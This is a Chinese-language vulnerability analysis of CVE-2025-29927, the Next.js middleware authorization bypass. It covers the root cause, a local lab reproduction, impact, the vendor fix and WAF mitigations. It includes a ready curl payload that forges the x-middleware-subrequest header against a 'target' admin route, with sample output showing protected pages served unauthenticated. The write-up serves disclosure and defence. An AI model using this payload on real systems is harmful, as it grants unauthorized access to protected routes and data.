1. 漏洞概述
CVE-2025-29927(GitHub Advisory:GHSA-f82v-jwr5-ff7m)是 Next.js Middleware(中间件)鉴权绕过漏洞,由安全研究员 zhero__(Rachid A.)发现,2025 年 3 月 21 日官方公告披露。
漏洞核心:Next.js 使用内部请求头 x-middleware-subrequest 识别”中间件自己发起的内部子请求”,并在满足特定条件时跳过中间件执行。该请求头完全由客户端可控且未做校验,攻击者只需在请求里伪造一个特殊构造的头,就能让服务端认为这是内部子请求,从而直接绕过中间件里的所有鉴权/访问控制逻辑,未授权访问受保护路由。
| 项目 | 内容 |
|---|---|
| CVE | CVE-2025-29927(GHSA-f82v-jwr5-ff7m) |
| 漏洞类型 | 中间件鉴权绕过(Authorization Bypass) |
| 影响版本 | < 12.3.5 / < 13.5.9 / < 14.2.25 / < 15.2.3(自 1.11.4 起) |
| 修复版本 | 12.3.5、13.5.9、14.2.25、15.2.3 |
| CVSS | 9.1(Critical),CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| 攻击条件 | 应用使用 Middleware 做鉴权/访问控制(如校验 Cookie、Token、IP 白名单) |
⚠️ 触发条件非常苛刻:只有把”安全边界”放在 Middleware 里的应用才受影响。鉴权写在 Route Handler、Server Component 或后端服务里的应用不受影响。这也侧面说明了一个架构教训:中间件不是安全边界。
2. 漏洞原理
2.1 内部子请求机制
Next.js 的 Middleware 运行在 Edge 沙箱里。当中间件内部发起子请求时(例如调用 fetch() 请求站内 API),沙箱里的 fetch polyfill 会把这个中间件的模块名追加到 x-middleware-subrequest 请求头中,冒号分隔(dist/server/web/sandbox/context.js,15.2.2):
// 沙箱 fetch polyfill:把中间件模块名追加到内部子请求头
const store = requestStore.getStore();
if (store?.headers.has('x-middleware-subrequest') && !init.headers.has('x-middleware-subrequest')) {
init.headers.set('x-middleware-subrequest', store.headers.get('x-middleware-subrequest') ?? '');
}
const prevs = init.headers.get(`x-middleware-subrequest`)?.split(':') || [];
const value = prevs.concat(options.moduleName).join(':');
init.headers.set('x-middleware-subrequest', value);
这样做的目的是防止无限递归:子请求再次进入中间件时,需要知道”这个请求已经跑过我一次了”。
2.2 递归深度判断(漏洞点)
当请求再次进入中间件执行流程时,沙箱的 run() 函数会统计该头中出现当前中间件名的次数,超过 5 次(MAX_RECURSION_DEPTH)就直接短路,返回一个”继续放行”的空响应,根本不执行中间件函数(dist/server/web/sandbox/sandbox.js,15.2.2):
const subreq = params.request.headers[`x-middleware-subrequest`];
const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
const MAX_RECURSION_DEPTH = 5;
const depth = subrequests.reduce((acc, curr) => curr === params.name ? acc + 1 : acc, 0);
if (depth >= MAX_RECURSION_DEPTH) {
return {
waitUntil: Promise.resolve(),
response: new runtime.context.Response(null, {
headers: { 'x-middleware-next': '1' } // 等价于中间件直接 next() 放行
})
};
}
// ... 正常执行用户中间件 edgeFunction
2.3 攻击手法
关键问题:x-middleware-subrequest 是客户端可以任意伪造的,服务端没有校验它是否真的来自内部子请求。
params.name就是中间件模块名,完全可预测:src/middleware.ts→src/middleware,根目录middleware.ts→middleware(对应构建产物.next/server/middleware-manifest.json里的 key);- 把中间件名用冒号重复 5 次,
depth >= 5即命中短路分支,中间件被整体跳过,请求直接放行到目标页面。
# 绕过载荷:中间件名(按实际位置取 src/middleware 或 middleware)重复 5 层
curl -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" https://target/admin
为什么是 5 层而不是 1 层?因为判断条件是”出现次数 ≥ 5”而不是”包含即可”,1 次只算 depth=1,中间件照常执行;必须填满 5 层才触发短路。
3. 复现
3.1 搭建受影响版本
用 create-next-app 快速搭一个 14.2.24(受影响版本)项目,把默认首页换成受保护的后台页:
# 创建项目(脚手架自带最新版,需手动降级)
npx create-next-app@latest cve-2025-29927-lab --ts --app --no-tailwind --no-eslint
cd cve-2025-29927-lab
npm i next@14.2.24 # 降到受影响版本
写一个保护 /admin 的中间件(src/middleware.ts):
import { NextRequest, NextResponse } from 'next/server';
// 本地实验用"密码",实际场景通常是 JWT/Session 校验
const ADMIN_TOKEN = 'lab-secret-token';
export function middleware(request: NextRequest) {
const token = request.cookies.get('admin_token')?.value;
if (token !== ADMIN_TOKEN) {
// 未认证:重定向到登录页(307)
return NextResponse.redirect(new URL('/login', request.url));
}
return NextResponse.next();
}
export const config = {
matcher: ['/admin/:path*'],
};
再写受保护的页面(src/app/admin/page.tsx):
export default function AdminPage() {
return <h1>Admin Panel(受保护内容)</h1>;
}
启动服务:
npm run dev # http://localhost:3000
3.2 攻击对比
正常请求:没有 admin_token Cookie,中间件拦截并 307 重定向到 /login:
$ curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
content-type: text/plain; charset=utf-8
...
伪造 x-middleware-subrequest 请求:中间件被直接跳过,未认证直接拿到管理页 200:
$ curl -i -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" \
http://localhost:3000/admin
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
...
<h1>Admin Panel(受保护内容)</h1>
| 请求 | 中间件执行 | 结果 |
|---|---|---|
GET /admin | ✅ 执行,Token 校验失败 | 307 → /login |
GET /admin + 伪造头(5 层) | ❌ 被短路跳过 | 200,直接返回管理页 |
💡 如果中间件在根目录(
middleware.ts而非src/middleware.ts),把载荷里的src/middleware换成middleware即可。拿不准时,直接看构建产物.next/server/middleware-manifest.json里的 middleware key。
4. 影响
- 认证/授权绕过 → 数据泄露、功能滥用:最直接的影响。用中间件做登录态校验、管理员权限控制、IP 白名单、灰度开关的应用,所有受保护路由(管理后台、API 接口、内部页面)全部裸奔,攻击者无需任何凭据即可访问。
- 安全响应头失效 → 辅助 XSS 利用:很多应用用中间件统一注入 CSP、X-Frame-Options、HSTS 等安全头。中间件被跳过意味着这些头不生效,即便页面本身没有 CSP,XSS 防护也会被削弱(如
frame-ancestors失效可配合点击劫持)。 - 限流/风控绕过:中间件常被用来做限流、Bot 检测、请求频率控制,同样一并被绕过,可被用于暴力破解、刷接口等后续攻击。
- 组合利用:该头不影响 Route Handler / Server Component 内的校验,因此攻击面取决于”安全边界是否只存在于中间件”。现实中大量 Next.js 项目把鉴权写在中间件里(官方早期教程的常见写法),实际影响面非常大——公告发布后数小时内即出现公开 PoC 与批量扫描。
5. 修复
1. 升级到修复版本(首选)
| 受影响分支 | 修复版本 |
|---|---|
| 12.x | 12.3.5 |
| 13.x | 13.5.9 |
| 14.x | 14.2.25 |
| 15.x | 15.2.3 |
npm i next@14.2.25 # 以 14.x 为例
修复原理(15.2.3):服务启动时生成一个随机 middleware-subrequest-id(8 字节随机数,存于进程全局),入口处对所有请求执行 filterInternalHeaders(),只有当请求携带的 x-middleware-subrequest-id 与该随机值匹配时才信任 x-middleware-subrequest,否则直接删除该头——外部伪造的头在到达沙箱前就被剥掉了:
// 15.2.3 dist/server/lib/server-ipc/utils.js
const filterInternalHeaders = (headers) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header];
}
// 不是本进程内部子请求 → 剥掉伪造的 x-middleware-subrequest
if (header === 'x-middleware-subrequest' &&
headers['x-middleware-subrequest-id'] !== globalThis[Symbol.for('@next/middleware-subrequest-id')]) {
delete headers['x-middleware-subrequest'];
}
}
};
2. 无法立即升级时:WAF/网关层拦截
NVD 官方建议:在反向代理 / WAF / CDN 层直接拦截包含 x-middleware-subrequest 的外部请求(正常客户端请求永远不会带这个头)。例如 Nginx:
# 外部请求携带内部头一律 403(Nginx 默认会丢弃下划线头,这里是双保险)
if ($http_x_middleware_subrequest) {
return 403;
}
雷池(SafeLine)等 WAF 也可加自定义规则:Header: x-middleware-subrequest 命中即拦截。
3. 架构层:不要用中间件做安全边界
- 鉴权/授权必须下沉到 Route Handler、Server Component、服务端 API 等真正受信任的执行环境,中间件只做体验层(如登录后跳转);
- 即使升级到修复版本,中间件校验仍是”可绕过层”——比如内部子请求路径、
x-middleware-next等其它内部头,以及未来新版本引入的内部机制,都可能成为新的绕过面; - 遵循纵深防御:Cookie 加
HttpOnly+Secure+SameSite,服务端二次校验 Token 签名与过期时间,敏感接口独立鉴权。
参考
- GitHub Advisory:GHSA-f82v-jwr5-ff7m(https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-ff7m)
- NVD:CVE-2025-29927(CVSS 9.1)
- Next.js 官方安全公告:https://nextjs.org/blog/cve-2025-29927